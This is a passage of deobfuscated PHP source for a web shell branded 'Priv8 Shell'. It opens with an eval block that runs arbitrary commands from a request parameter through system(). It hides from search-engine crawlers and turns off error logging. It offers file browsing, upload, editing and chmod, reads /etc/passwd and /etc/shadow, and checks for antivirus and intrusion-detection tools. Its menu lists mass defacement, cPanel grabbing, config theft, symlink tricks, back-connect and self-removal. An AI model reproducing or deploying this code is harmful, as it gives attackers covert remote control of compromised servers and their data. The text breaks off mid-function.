        eval /* PHPDeobfuscator eval output */ {
            if (isset($_REQUEST['cm'])) {
                echo "<pre>";
                $cm = $_REQUEST['cm'];
                system($cm);
                echo "</pre>";
                die;
            }
        };
        function decrypt($str, $pwd)
        {
            $pwd = base64_encode($pwd);
            $str = base64_decode($str);
            $enc_chr = "";
            $enc_str = "";
            $i = 0;
            while ($i < strlen($str)) {
                for ($j = 0; $j < strlen($pwd); $j++) {
                    $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                    $enc_str .= $enc_chr;
                    $i++;
                    if ($i >= strlen($str)) {
                        break;
                    }
                }
            }
            return base64_decode($enc_str);
        }
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        if (version_compare(PHP_VERSION, '5.3.0', '<')) {
            set_magic_quotes_runtime(0);
        }
        @define('VERSION', 'Priv8 Shell');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
        /* (С) 11.2011 oRb */
        if (!empty($▛)) {
            if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
                prototype(md5($_SERVER['HTTP_HOST']), $▛);
            }
            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
                hardLogin();
            }
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
        }
        function hardLogin()
        {
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            die("</br></br></br>\r\n\t\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style><body><pre align=center><form method=post style='color:#ffffff;text-align: center;'><img src='https://i.imgur.com/4Fq8k1E.png' align='center'><br><br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='>>' style='border:none;background-color:#1e252e;color:#fff;cursor:pointer; '></form></pre> </body>");
        }
        if (strtolower("PHP") == "win") {
            $os = 'win';
        } else {
            $os = 'nix';
        }
        $safe_mode = @ini_get('safe_mode');
        if (!$safe_mode) {
            error_reporting(0);
        }
        $disable_functions = @ini_get('disable_functions');
        $home_cwd = @getcwd();
        if (isset($_POST['c'])) {
            @chdir($_POST['c']);
        }
        $cwd = @getcwd();
        if ($os == 'win') {
            $home_cwd = str_replace("\\", "/", $home_cwd);
            $cwd = str_replace("\\", "/", $cwd);
        }
        if ($cwd[strlen($cwd) - 1] != '/') {
            $cwd .= '/';
        }
        function hardHeader()
        {
            if (empty($_POST['charset'])) {
                $_POST['charset'] = $GLOBALS['▜'];
            }
            echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title> " . VERSION . "</title>\r\n\t<link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet'>\r\n<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } \r\n\t\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url('https://i.imgur.com/gL0UG8Y.png'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url('https://i.imgur.com/hLcQCBx.gif'); }\r\n\tspan,h1,a\t{color:#ff1111 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff1111;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url('https://i.imgur.com/hLcQCBx.gif');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Open Sans', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type='submit']{background-color:#ff1111;}\r\n\tinput[type='button']{background-color:#ff1111;}\r\n\tinput[type='submit']:hover{background-color:#ff1111;}\r\n\tinput[type='button']:hover{background-color:#ff1111;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt 'Open Sans', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
            $freeSpace = @diskfreespace($GLOBALS['cwd']);
            $totalSpace = @disk_total_space($GLOBALS['cwd']);
            $totalSpace = $totalSpace ? $totalSpace : 1;
            $release = @php_uname('r');
            $kernel = @php_uname('s');
            $explink = 'https://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode("/", $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0; $i < $n - 1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0; $j <= $i; $j++) {
                    $cwd_links .= $path[$j] . '/';
                }
                $cwd_links .= "\")'>" . $path[$i] . "/</a>";
            }
            $charsets = array('Windows-1251', 'UTF-8', 'KOI8-R', 'KOI8-U', 'cp866');
            $opt_charsets = '';
            foreach ($charsets as $▟) {
                $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
            }
            $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Adminer', 'Terminal' => 'Console', 'Mass User' => 'Edituser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Symlink' => 'Sym', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Bypass' => 'bypas', 'BC' => 'Network');
            if (!empty($GLOBALS['▛'])) {
                if (isset($_REQUEST['xd'])) {
                    $m['Reseller'] = 'Reseller';
                }
            }
            $m['Logout'] = 'Logout';
            $m['Self Remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
            }
            $drives = "";
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\\')) {
                        $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                    }
                }
            }
            echo '<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="https://anon.click/protected/https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#ffffff><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
        }
        function hardFooter()
        {
            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#ffffff'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
            echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden name=ne value=''>\r\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t\r\n\t\r\n\t</body></html>";
        }
        if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
            function posix_getpwuid($p)
            {
                return false;
            }
        }
        if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
            function posix_getgrgid($p)
            {
                return false;
            }
        }
        function ex($in)
        {
            $▖ = '';
            if (function_exists('exec')) {
                @exec($in, $▖);
                $▖ = @join("\n", $▖);
            } elseif (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                @system($in);
                $▖ = ob_get_clean();
            } elseif (function_exists('shell_exec')) {
                $▖ = shell_exec($in);
            } elseif (is_resource($f = @popen($in, "r"))) {
                $▖ = "";
                while (!@feof($f)) {
                    $▖ .= fread($f, 1024);
                }
                pclose($f);
            } else {
                return "\xe2\x86\xb3 Unable to execute command\n";
            }
            return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
        }
        function viewSize($s)
        {
            if ($s >= 1073741824) {
                return sprintf('%1.2f', $s / 1073741824) . ' GB';
            } elseif ($s >= 1048576) {
                return sprintf('%1.2f', $s / 1048576) . ' MB';
            } elseif ($s >= 1024) {
                return sprintf('%1.2f', $s / 1024) . ' KB';
            } else {
                return $s . ' B';
            }
        }
        function perms($p)
        {
            if (($p & 0xc000) == 0xc000) {
                $i = 's';
            } elseif (($p & 0xa000) == 0xa000) {
                $i = 'l';
            } elseif (($p & 0x8000) == 0x8000) {
                $i = '-';
            } elseif (($p & 0x6000) == 0x6000) {
                $i = 'b';
            } elseif (($p & 0x4000) == 0x4000) {
                $i = 'd';
            } elseif (($p & 0x2000) == 0x2000) {
                $i = 'c';
            } elseif (($p & 0x1000) == 0x1000) {
                $i = 'p';
            } else {
                $i = 'u';
            }
            $i .= $p & 0x100 ? 'r' : '-';
            $i .= $p & 0x80 ? 'w' : '-';
            $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
            $i .= $p & 0x20 ? 'r' : '-';
            $i .= $p & 0x10 ? 'w' : '-';
            $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
            $i .= $p & 0x4 ? 'r' : '-';
            $i .= $p & 0x2 ? 'w' : '-';
            $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
            return $i;
        }
        function viewPermsColor($f)
        {
            if (!@is_readable($f)) {
                return '<font color=#ff1111><b>' . perms(@fileperms($f)) . '</b></font>';
            } elseif (!@is_writable($f)) {
                return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
            } else {
                return '<font color=#ffffff><b>' . perms(@fileperms($f)) . '</b></font>';
            }
        }
        function hardScandir($dir)
        {
            if (function_exists("scandir")) {
                return scandir($dir);
            } else {
                $dh = opendir($dir);
                while (false !== ($filename = readdir($dh))) {
                    $files[] = $filename;
                }
                return $files;
            }
        }
        function which($p)
        {
            $path = ex('which ' . $p);
            if (!empty($path)) {
                return $path;
            }
            return false;
        }
        function actionRC()
        {
            if (!@$_POST['p1']) {
                $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
                echo serialize($a);
            } else {
                eval($_POST['p1']);
            }
        }
        function prototype($k, $v)
        {
            $_COOKIE[$k] = $v;
            setcookie($k, $v);
        }
        function actionSecInfo()
        {
            hardHeader();
            echo "<h1>Server security information</h1><div class=content>";
            function showSecParam($n, $v)
            {
                $v = trim($v);
                if ($v) {
                    echo '<span>' . $n . ': </span>';
                    if (strpos($v, "\n") === false) {
                        echo $v . '<br>';
                    } else {
                        echo '<pre class=ml1>' . $v . '</pre>';
                    }
                }
            }
            showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
            if (function_exists('apache_get_modules')) {
                showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
            }
            showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
            showSecParam('Open base dir', @ini_get('open_basedir'));
            showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
            showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
            showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
            $temp = array();
            if (function_exists('mysql_get_client_info')) {
                $temp[] = "MySql (" . mysql_get_client_info() . ")";
            }
            if (function_exists('mssql_connect')) {
                $temp[] = "MSSQL";
            }
            if (function_exists('pg_connect')) {
                $temp[] = "PostgreSQL";
            }
            if (function_exists('oci_connect')) {
                $temp[] = "Oracle";
            }
            showSecParam('Supported databases', implode(', ', $temp));
            echo "<br>";
            if ($GLOBALS['os'] == 'nix') {
                showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
                showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
                showSecParam('OS version', @file_get_contents('/proc/version'));
                showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if (!$GLOBALS['safe_mode']) {
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                    $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    echo "<br>";
                    $temp = array();
                    foreach ($userful as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Userful', implode(', ', $temp));
                    $temp = array();
                    foreach ($danger as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Danger', implode(', ', $temp));
                    $temp = array();
                    foreach ($downloaders as $▟) {
                        if (which($▟)) {
                            $temp[] = $▟;
                        }
                    }
                    showSecParam('Downloaders', implode(', ', $temp));
                    echo "<br/>";
                    showSecParam('HDD space', ex('df -h'));
                    showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                }
            } else {
                showSecParam('OS Version', ex('ver'));
                showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
                showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
            }
            echo "</div>";
            hardFooter();
        }
        function actionFilesTools()
        {
            if (isset($_POST['p1'])) {
                $_POST['p1'] = urldecode($_POST['p1']);
            }
            if (@$_POST['p2'] == 'download') {
                if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                    ob_start("ob_gzhandler", 4096);
                    header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                    if (function_exists("mime_content_type")) {
                        $type = @mime_content_type($_POST['p1']);
                        header("Content-Type: " . $type);
                    } else {
                        header("Content-Type: application/octet-stream");
                    }
                    $fp = @fopen($_POST['p1'], "r");
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo @fread($fp, 1024);
                        }
                        fclose($fp);
                    }
                }
                exit;
            }
            if (@$_POST['p2'] == 'mkfile') {
                if (!file_exists($_POST['p1'])) {
                    $fp = @fopen($_POST['p1'], 'w');
                    if ($fp) {
                        $_POST['p2'] = "edit";
                        fclose($fp);
                    }
                }
            }
            hardHeader();
            echo "<h1>File tools</h1><div class=content>";
            if (!file_exists(@$_POST['p1'])) {
                echo "File not exists";
                hardFooter();
                return;
            }
            $uid = @posix_getpwuid(@fileowner($_POST['p1']));
            if (!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
            } else {
                $gid = @posix_getgrgid(@filegroup($_POST['p1']));
            }
            echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
            echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
            if (empty($_POST['p2'])) {
                $_POST['p2'] = 'view';
            }
            if (is_file($_POST['p1'])) {
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
            } else {
                $m = array('Chmod', 'Rename', 'Touch');
            }
            foreach ($m as $v) {
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
            }
            echo "<br><br>";
            switch ($_POST['p2']) {
                case 'view':
                    echo "<pre class=ml1>";
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
                            echo htmlspecialchars(@fread($fp, 1024));
                        }
                        @fclose($fp);
                    }
                    echo "</pre>";
                    break;
                case 'highlight':
                    if (@is_readable($_POST['p1'])) {
                        echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                        $oRb = @highlight_file($_POST['p1'], true);
                        echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                    }
                    break;
                case 'chmod':
                    if (!empty($_POST['p3'])) {
                        $perms = 0;
                        for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                            $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                        }
                        if (!@chmod($_POST['p1'], $perms)) {
                            echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                    }
                    clearstatcache();
                    echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                    break;
                case 'edit':
                    if (!is_writable($_POST['p1'])) {
                        echo "File isn't writeable";
                        break;
                    }
                    if (!empty($_POST['p3'])) {
                        $time = @filemtime($_POST['p1']);
                        $_POST['p3'] = substr($_POST['p3'], 1);
                        $fp = @fopen($_POST['p1'], "w");
                        if ($fp) {
                            @fwrite($fp, $_POST['p3']);
                            @fclose($fp);
                            echo "Saved!<br><script>p3_=\"\";</script>";
                            @touch($_POST['p1'], $time, $time);
                        }
                    }
                    echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                    $fp = @fopen($_POST['p1'], 'r');
                    if ($fp) {
                        while (!@feof($fp)) {
